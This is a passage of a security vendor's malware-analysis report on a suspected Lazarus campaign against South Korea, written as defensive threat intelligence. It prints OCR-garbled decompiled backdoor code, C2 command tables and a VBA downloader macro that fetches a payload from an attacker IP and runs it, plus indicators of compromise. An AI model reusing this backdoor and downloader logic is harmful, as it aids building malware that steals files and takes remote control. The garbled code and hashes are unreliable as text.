Figure 3-29Send a specific string

Receive commands from the server in sequence to implement the hvnc function.
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v5 = strdecrypt 188@2CF@(byte 18B@F3DS); // 18814428 29 28 24 26 58 4F 49 55 34 4C 48 44 }(*&POIU: LK
strepy_s(vs3, 14u, vs);
recY = 1irecv;

W7 rirecv(s, buf, 12, @);

if ( v7 >0 )

{

8 = *(_DWORD *)vdl;
uCode = *({ DWORD *)w4l;
do

if ( (unsigned int)v? »= @xE )

lad:
report_rangecheckfailure();
{Bx108082348) ;

I:u‘F[ 71 =
Fv7=

{
w3
if

2)

stremp(buf, vi3); /7 BBl R T NIEEF TS ) (FRPOIU: LK
o)

vd £ @ ? -1 : 1;

lva )

e
"=

if
{
if ( recv(s, Scurce, 8, B8) != 8 )
break;
scurce[8] = @;
if ( recv(s, v4l, 4, @) !=4) /R E

break;
if ( recu(s, v4s, 4, @) 1= 4 ) j/ BHEE
break;

vl@ = *(_DWORD *)v45;
if ( *(int *)v45 > @ )

vll = recv(s, CommandLine, *(int *)vas, @);// BH

if ( vil €= 8 ) \
*’ f” re 3
break; { ’ *
vl@ = *(_DWORD *)v45; ’ ANIIY Q
if ( v1l != *(_DWORD *)v45 )
break;

Figure 3-30Receive command, parse and execute

Different operations are presented according to the commands issued. The reverse analysis commands
and corresponding functions are roughly as follows.

Table 3 -7 Commands and their corresponding functions

0x1 Continuously send screenshots
0x2 Stop sending screenshots

0x3 Execute the issued command line
0x5 Simulate keyboard operations
0x6 Simulate mouse operations

o Open explorer.exe and set the taskbar to
X
always be displayed

0x8 Start chrome.exe
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3.5 shellengine.dll Backdoor

Table 3-8 Binary executable files

Virus name

Trojan/Generic. ASMalwS.2D

Original file name shellengine.dll
MD5 edaff44ac5242188d427755d2b2affH4
Intel 386 or later, and compatibles
276.50 KB (283136 bytes)
2022:08:03 01:49:57+00:00
Microsoft Visual C++ v.7.10 - 11.0 - Visual 2012
2022-08-16 21:15:12 UTC

Collects host information and generates a host identifier.

memset(Scurce, @, 18@);

pchBuffer[@] = leea;

GetUserNameA(Buffer, (LPDWORD)pcbBuffer);

memset(5tr, 8, 188);

if { !sub_leesllEA(Scurce) )
sub_1ee8lesd(str, Source);

sub_188@115E(5tr, "VDEVICE");

vB = strlen{5tr);

sub_18@8l1138(5tr, ve); -

vl = sub_1@8@1@2D((char *)&byte ﬁgaag”ﬂﬁ *

return sub 1@@@1eCa(::Buffer, "R iy

Figure 3-31Collect host information and generate host identifiers

Create a pipe for communicating with the cmd.exe child process.
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Pipeattributes.nlength =

Pipeattribut E:.bInherltHandle =1;
Pipeattributes.lpSecurityDescriptor = @;

if ( CreatePipe(&hFile, &hWritePipe, &Pipeittributes, @) )
1

¥

eglsze

i

sub 18881891("CreatePipe() - pipe for child process's STDOUT pipe was created!\n™, v5);

LastError = GetLastError();
sub 188818391("Create pipe for STDOUT failed,®d\n", LastError);

}

if ( SetHandleInformation(hFile, 1u, @) )

i
¥

else

i

sub_leseledl("SetHandleInformation() - pipe STDOUT read handle is not inherited!wn", v5);

vl = @GetlastError();
sub_leseledl("Create handle for STDOUT failed,¥d\n™, w1);

i
if ( CreatePipe(&hReadPipe, Zdword_18843C7C, &Fipeisttributes, @) )

1
¥

glse

{

sub_1ee81891("CreatePipe() - pipe for child process's STDIN was created!\n"™, v5);

v2 = GetLastError();
sub_10081891("Create pipe for STDIN failed,¥d\n", v2);

}

if ( SetHandleInformaticon(dword_1@843C7C, lu, @) )

1
¥

else

{

sub_18881691("stdin SetHandleInformation() - pipe STDIN read handle is not inherited!wn",

v3 = GetLastError(); \
sub_18801@91("Error getting handle on STDIN,¥d\n", v3); C g g" *

} " ANTIY

sub_18e81891("Creating the child process...\n", v5S);
return sub_18861288(); | /4 Behemd. exe

Figure 3-32Create a pipeline

Create a thread and pass the return result of cmd.exe back to C2.
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len[e] = 8;
dword_1ee4884 = 1;
va = B;
memset(Buffer, @, Bx1888u);
while { 1 )
1
PeekNamedPipe(hFile, @, @, @, (LPDWORD)TotalBytesAvail, @);
while ( TotalBytesAvail[@] )
1
if ( TotalBytesfvail[@] > ex1lee8u )
nNumberOfBytesToRead = 4996;
else
nNumberOfBytesToRead = TotalBytesAvail[e];
v8 = ReadFile(hFile, Buffer, nNumberOfBytesTocRead, &NumberOfBytesRead, @);
if { w8 || !NumberOfBytesRead )

LastError = GetlLastError();
sub_leea1eol("\nReadFile() from child's standard output failed! Error %u\n", LastError);
break;
¥
TotalBytesAvail[@] -= nNumberOfBytesToRead;
buf = {char *)createUpdatedata_l1e881814(Src, 3, Buffer, NumberOfBytesRead, (int)len);
if { !send_leeslese(s, buf, len[@]) )
1
sub_1e881891("Send CMD Response ERRORAR™, v3);
break;

¥

if { !dweord_leed4eee4 )
break;
Sleep(@uiu); —

} (ii)‘/’;'-q EIE
CloseHandle (hObject); N anniy Q

hobject = @;
return @;

Figure 3-33 Retrieve the result of executing CMD.exe and return it

Create a thread that communicates with the C2 and is used to implement the main malicious
functionality.

UUUUUUUUUUU Wriim— g

dword_ 18848804 = @;

hHandle = (HANDLE)_ beginthreadex(®, @, (_beginthreadex_proc_type)StartAddress, @, @, @);
WaitForsingletbject(hHandle, BxFFFFFFFF);

CloseHandle(hHandle);

hHandle = @;

if ((5)

closesocket(s);
5 = 8;

if ( dword_leead414sC )
1

closesocket(dword_18084145C);
dword_1884145C = @

1
if ( dword_lee45358 )
1

closesocket(dword_18845358);
dword_ 18845358 = @;

Py 7 g—
} OL8X
CloseHandle(dword_1@@41444); S’ ANTIY

dword_leadlddqd = a;

Figure 3-34Threads implementing malicious functions
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Similar to the previous two samples, it still reads the content in "error.log" and concatenates it with
"dl.dropboxusercontent.com”, obtains the C2 for subsequent communication from this address, and attempts to

connect using a socket.

if ( ldword_leedsald )
sub_18001898();

if { !dword_loe4e804 )
return @;

if ( WSAStartup(@x282u, &WSAData) )
return &;

memset{&pHints, @, sizeof(pHints));

pHints.ai_family = 2;

pHints.ai_socktype = 1;

pHints.ai protocol = 6;

if ( getaddrinfo(pModeMame, pServiceName, &pHints, &ppResult) )

return @;
s = socket(ppResult-»ai family, ppResult-*ai socktype, ppResult-*ai protocol);
if (5 ==-1)
freeaddrinfo{ppResult};
return @;
¥
else if ( connect(s, ppResult-:ail addr, ppResult-rai_addrlen) )
1

freeaddrinfo(ppResult);
closesocket(s);
return @;

}

else N 5y emm—

i ~ L ; N Q *
freeaddrinfo{ppResult};
return s;

h

\‘\

Figure 3-35 36

If a socket connection can be established, the server-side commands will be received and different malicious

functions will be implemented according to the commands.
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if (s)
if ( dword_les4145C )

if ( dword_l1@845358 )

1
vd = strlen{Buffer);
Updatedata_ 10881814 = (char *)createUpdatedata_10001814(::5tr2, @, Buffer, w4, (int)len);
if { send_18081058(s, Updatedata_leeeleld, len[@]) )

1
v5 = (const char *)sub 1e@8182D((char *)&byte 18833C93);
strcpy_s(5tr2, @xEu, vS);
while ( 1 )

while { 1 )

v32 = recv(s, buf, 12, @);

if ( vz <=8 )

i
Error = WSAGetLastError();
sub_1@8881691("S0CKET RECV ERROR: ¥d™, Error);
goto LABEL_53;

¥

vl2 = w32;

if { (unsigned int)v32 >= @xE )
__report_rangecheckfailure();

buf[vl2] = @;

if ( w32 == 12 && !strcmp(buf, 5tr2) )
break;

sub_18881891( "INVALID SOCKET DATA™, wil);

1
w32 = recv(s, Socurce, 8, @);
if ( v32 =8

sub_leeal@dl("SOCKET RECY ERROR 1", wl1l);
goto LABEL_53;

¥

source[8] =

v32 = recv(s, (char *)opcode, 4, 8);

if ( w32 =4

sub_18@8e1@91("S0CKET RECYV ERROR 2", wi1l);
goto LABEL 53;

¥

w32 = recv(s, (char *)5ize, 4, @);

if { w32 1= 4]

1
sub_18081e91("S0CKET RECY ERROR 3", v1l);
goto LABEL 53;

1
if ( size[e] > @ ) ®
{ Olek=$ =

5trl = (char *}operator new(5ize[8] + 5);
w32 = recv(s, 5trl, Size[@], @);
if ( v32 <=8 || v32 != Size[@] )

break:

Figure 3-37Implement different malicious functions according to instructions

Different operations are presented according to the commands issued. The reverse analysis commands and

corresponding functions are roughly as follows.
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Table 3-5Commands and corresponding functions

0x1 Based on the received data, change the offset of 8 bytes at 0xC in the returned data structure
0x2 Restart the cmd.exe process or execute the command line through cmd.exe

0x4 Get a disk list or a list of subdirectories and file names under a specified directory

0x6 Get the specified file

0xA Get screenshot information

0xB Set a flag to stop taking screenshots

0xD Simulate mouse clicks

0xE Simulate mouse movement

OxF Modify image conversion parameters

0x14 Change the 8 bytes at offset 0xC of the returned data structure to the data stored in the sample

0x1E Return the chrome key

Ox1F Get the files in the specified directory

4 Traceability Analysis

It can be inferred from the similarity of pdb paths and the same custom encryption function that the three PE
files involved in the attack should belong to the same attacker. Based on the high similarity between the VBA code
and IEUpdating.exe download tool code contained in the template file and the corresponding file code in the Lazarus
organization's previous attack activities, it is speculated that this attack activity also belongs to the Lazarus

organization.

The pdb files of IEUpdate.exe, hvncengine.dll, and s hellengine.dll are all in the same directory.
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property value
md3 810EE341DB7A938B10274D5F1A38AD2S
shal AETI0IDAEAFI 1FEG2E447TAFG4BCACTS65DDEA0L
sha256 E5189722D62EE1788695FEBOEDCI91B27073338C231941C44A61 FDS4EB980944
age 1
size 80 (bytes)
format RSDS
debugger-sta... 0x62EIEBOA (Wed Aug 03 11:27:06 2022)
path hi\pevirushacksacks 201 2\acks 201 2.'-\.r'E'|E'E|SE'-'-.FE'I'Il]iI'IE'.r:Idb{/i'i\) £ = *
guid C1304195-9827-4075-BECO-38C4E53C5E2E NS e
Figure4-1 2pdb
property value
md3 980 DE2121B5B0EG4D3D2D13A8187 3438
shal GE9B1VBE2CYS8F3B048ED0DB04DBA0T4AFECDESTT
sha256 432434BB61ED9B9CE4BABAFA0EQ492CEASALTIC2E6E294509138F793ETEAFIFEDNT
age 1
size 83 (bytes)
format RSDS
debugger-sta.. 0x62ESEBED (Wed Aug 03 11:30:53 2022}
path b\ povirushackshacks 2012\acks 201 2-'-.r'E'|E'E|5E'"-.|'|'l."|'|l:E'I'|D|iI'|E{.-’?:%2.‘}""’ E *
guid E3013EF -FC86-4F25-BES1-BFEF354BD2ED T
Figure 4-3 hvncengine.dll4pdb
property value
md5 T2BACODVE/110053EF843DCCSCA0EATT
shal 8FABOCB6CET10EF1330AABB93FEQ43F16916EASEE
sha256 SDETDDASAS2ASTRGETICCI3062461228CASE32COTVIFEEICE4EGTCID2A0ASTTDOD
age 1
size B2 (bytes)
format RSDS
debugger-sta... 0xG62E8D445 (Wed Aug 03 09:49:57 2022)
path h:\peovirushackshacks_20124vacks 201 2"-.deh|.|l:1"\5|'|e||eru:1i|'|E.r:|d|i'_'u_/.'J€-i\J = E *
A7 e
guid 3EB4045C-4818-4376-8D049-629D7D40FIFE

Figure 4-5 shellengine.dll6pdb

The custom encryption functions of hvncengine.dll and shellngine.dll are exactly the same, but they use different

keys. The keys for [IEUpdating. exe and shelngine. dll are "LNfYIU", and the key for hvncengine. dll is "WhdeEg".
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v2 = strlen(this);

memset({byte 18814420, B8, BxE80U);

for ( i =89; 1 € v2; Hi)
1
vd = (key[i % 6] + this[i]) ¥ 255;
if ( tvd )
4 = key[i ¥ 8];
byte 18814A28[1] = vi;

P ;j!( p—
return byte_1lee14addy) | ©F *

Figure 4-7Custom encryption function

Analysis of Suspected Lazarus Organization's Attack Activities Against South

Korea

The template file with malicious macros and the IEUpdate.exe downloader are largely similar to the sample

code previously discovered by the Lazarus organization.

Private Function BunFE() A= Long
Tim ME f= Object
Dim bbb Az String
Iim i As Long
Randomize
Call Init

For i =0 To &: bbb = bbb # Chr (Mapl (Int (62 # End (311} Hext i
Set ME = Createﬂbject(DecodeSTR(”mbﬁfsﬁsﬁpf+suaﬂpr+gnLngrW90ffov8=”))

Call MR SetTimeounts (0, 2000, 2000, 5000}

#If Windd Then

ME. Open “GET”, “http: /" & DecodeSTR(" /0T Aml4+eDH400NS 5§/ {55 cqP / /5 eLPE £191 42Bz+eh 1 OHBEON0S oSRphq A/ p3nrBvtlw="0 & "7 & bbb & “=" & bhb
T3 106, 160, 173405 /123456 1 FvM0 T/ 1253456 1 FrOM0TE4 . aom

#El=e

ME. Open “GET", “http://” & DecodeSTR("/0T/yuld+eDH40Dn5 s}/ 55 oqP //5eLPE£19142Ez+e b1 OHAE0N05 oSEp6 qd/p3ivfbvtle=") & "?” & bbb & “=" & bbb
23, 106, 160, 173/0NS /123466 JFvaMD /123456  FrOMOT32. aen

#End If
On Error GoTo EH
¥ith ME

. setRequestHeader :Cache—gonﬁrolx, ”ng—cache”
.zetRequestHeader “Fragma”, “no—eache

. send
MaitForResponse
bbb = . EesponseText
End With
On Erroer GeTo EH
Dim rpRez Az Long
rpRes = RunPE(Bazefdlecode (bbb))
If rpRes = 0 Then GoTo EH
EurnFE = rpRes
Exit Function
EH:
FurFE = 0
End Function

ANTIY

ql

Figure 4-8VBA code involved in this attack
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S000)
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Figure 4-9 VBA code involved in previous attack activities10

if ( !=(_DWORD *)(a3 + @x888) &% a1 I= 3 )

vlz2 = @;
sub_A91DS@(Buffer, "¥s/¥s", ::Buffer, al);
v7 = sub_A925E@(Buffer, (void **)&v12); /7 TE
if (7))
return @;

*( DWORD *){a3 + 2856) = sub_A93148(viz, v7);// FTEingre

}
vd = *(void **)(a3 + 2856);
if ( ve )

return 8;
va = 8;
ms_exc.registration.Trylevel = 8;
if (al==1]] al ==4)

vle = "SEStart”;

}

else
if (a1 l=2

if (a1 ==3 )
1
vll = (void (*)(void))sub_n934D@(vE, "SEEnd");
if (wvil )
viL1();
vE = B8
sub_A936@8(vE);
=(_DWORD *)(a3 + 2856) = @;

}
goto LABEL_23;
v1l@ = “SEEnd™;

1 %' ——u
v = (vold (*)(void))sub_A934De(vE, v *
LABEL_23: muv

if (ve )
va();

Figure 4-11Download tool code involved in this attack
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A0 tani stieet | pte-orasult 88 it le 37)
A
" s oo buf = 8
9 sub_SpICaa{t Ffer, "S3/%e", g uid, 21);
a yar_race_Tar = ww_connect_phased_C2_get{lutinr, (vord **)8vur_recv_sui);// FREERME
1 if € luwr_re - )
return @
3 " truct tresrasult = (nt)em_uxec PE(var vecw hwf, var ru w)id) RTINS EYPERHER
el )
3 o (vild *)erg structl ptr-dresult]
if ( tvn )
return O;
I '.:r-giﬂr-ltm\.‘lrytuvul -8
4| 497¢ al e 1 |] il =4 )
al {
3 0 = "SEStert™;
)
1| else
o I |
ae (et 1=2)
of
13 Af { 31 == 3)
49 (
" 11 = (void (*Myoid))sub_a03820((int)vs, (wmigeed int)*SEind*);
1 if (vl
31605
: O ot
54 sub_4a3esalvn);
3y arg structl prre-deesult « 8;
}
goto LADEL_23;
. }
0 10 » *SEEnd”;
- ]
&1 t e (vuld (*)(vaic))sub 483520{(1=t)cEd, (unmsignua Int)vie);
GILABEL_23:
i (w)
(931
retern 1;
&5l
POMOTEE mi_t0LI001 3% {40L0IK) IBmatconiees vith IDR Vies-h, #ex View-||
Figure 4-12Download tool codes involved in previous attack activities !
5 Threat Framework Mapping
Lazarus organization's related attack activities is shown below.
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Figure 5-1 Mapping diagram of ATT&CK threat framework corresponding to Lazarus organization's attack

activities
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6 Summarize

Korea

The Lazarus organization is a leading hacker group operating in the Korean Peninsula, specializing in long-term,

persistent cyberattacks targeting specific targets, primarily for the purpose of stealing funds and achieving political

objectives. They pose a significant threat to global financial institutions. In this attack, the Lazarus organization used

a multi-stage downloader and obtained the C2 address through Dropbox, complicating the acquisition of the attack

payload. Furthermore, the sample detected specific antivirus components and sandboxes, complicating analysis. The

sample detected ALyac and Ahnlab, both popular South Korean antivirus software. Combined with the name of the

decoy document, "Sogang KLEC.docx", and the images within the document, it is inferred that this attack was

targeting South Korea.

Appendix 1: 10C

23.106.160.173

23.106.160.173/temp2.dotm
23.106.160.173/ACMS/123456jFvQMO0J/123456;FvQMO0J64.acm
23.106.160.173/ACMS/123456jFvQMO0J/123456;FvQMO0J32.acm
23.106.160.173/post2.php

fla6lee026eac8583ee840d297792478
8D7C3F3C56AD3069908901790ADFA26
c073012bc50b6adf55f8edcce294a0b4
5beade9f8191c6a9c47050d4e3771b80
edaff44ac5242188d427755d2b2aff94
a8bla6c91a84554fb1f2b14b371920¢a
bfd44cbfa8cda6da34d0565473ec4462

h:\pcvirus\acks\acks 2012\acks 2012\release\fengine.pdb
h:\pcvirus\acks\acks 2012\acks 2012\release\hvncengine.pdb

h:\pcvirus\acks\acks 2012\acks 2012\debug\shellengine.pdb
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Appendix 3: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.
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Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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